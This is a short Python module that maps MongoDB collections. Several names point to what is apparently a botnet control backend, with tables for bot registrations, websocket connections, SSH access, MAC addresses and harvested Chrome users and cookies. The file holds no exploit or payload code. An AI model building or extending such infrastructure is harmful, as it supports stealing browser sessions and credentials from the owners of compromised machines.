#!/bin/env python3
# -*- coding:utf-8 -*-

# import pymongo
from e4ting.db  import mongodb
import json
from pdb        import set_trace  as strace
from traceback  import format_exc as dumpstack
from e4ting import log

from config.db import CONF

class TABLE():
    def __init__(self, db, table):
        self.db = db
        self.table = table
    def __get__(self, instance, owner):
        return mongodb(host=CONF.MONGO_HOSTNAME, db=self.db,  table=self.table)

class DB():
    # 不这么做在 alpine 系统中会出现诡异现象
    templates        = TABLE(db="data",  table="templates")
    robots           = TABLE(db="data",  table="robots")
    webhook          = TABLE(db="data",  table="webhook")
    person           = TABLE(db="data",  table="person")
    JS               = TABLE(db="data",  table="JS")
    clients          = TABLE(db="botnet",table="clients")
    statistics       = TABLE(db="data",  table="statistics")
    IP               = TABLE(db="data",  table="ip")
    SSH              = TABLE(db="data",  table="ssh")
    REQUESTS         = TABLE(db="data",  table="requests")
    DATA_TOKEN       = TABLE(db="data",  table="token")

    FOLDERS          = TABLE(db="data",  table="folders")
    STARTUPS         = TABLE(db="data",  table="启动记录")
    DATA_MEDIAS      = TABLE(db="data",  table="medias")
    DATA_FILES       = TABLE(db="data",  table="files")
    DATA_WSRECORD    = TABLE(db="data",  table="wsrecord")
    BOTNET_REGISTERS = TABLE(db="data",  table="注册记录")
    BOTNET_CONNECTS  = TABLE(db="data",  table="ws连接记录")
    BOTNET_CLIENTS   = TABLE(db="data",  table="clients")
    BOTNET_SSHS      = TABLE(db="data",  table="sshs")
    BOTNET_MACS      = TABLE(db="data",  table="macs")
    BOTNET_MAC_LINK  = TABLE(db="data",  table="macs_links")
    BOTNET_CHROME_U  = TABLE(db="data",  table="chrome_users")
    BOTNET_CHROME_C  = TABLE(db="data",  table="chrome_cookies")
    CRONTABS         = TABLE(db="data",  table="crontabs")
    IPS              = TABLE(db="data",  table="IPs")
    JP_XL_DEVS       = TABLE(db="data",  table="XL")
    JP_FT_DEVS       = TABLE(db="data",  table="FT")
    JP_YL_DEVS       = TABLE(db="data",  table="YL")
    JP_JS            = TABLE(db="data",  table="JS")
    JP_MHT_BIG       = TABLE(db="data",  table="MHT_BIG")
    JP_CDHZ          = TABLE(db="data",  table="CDHZ")

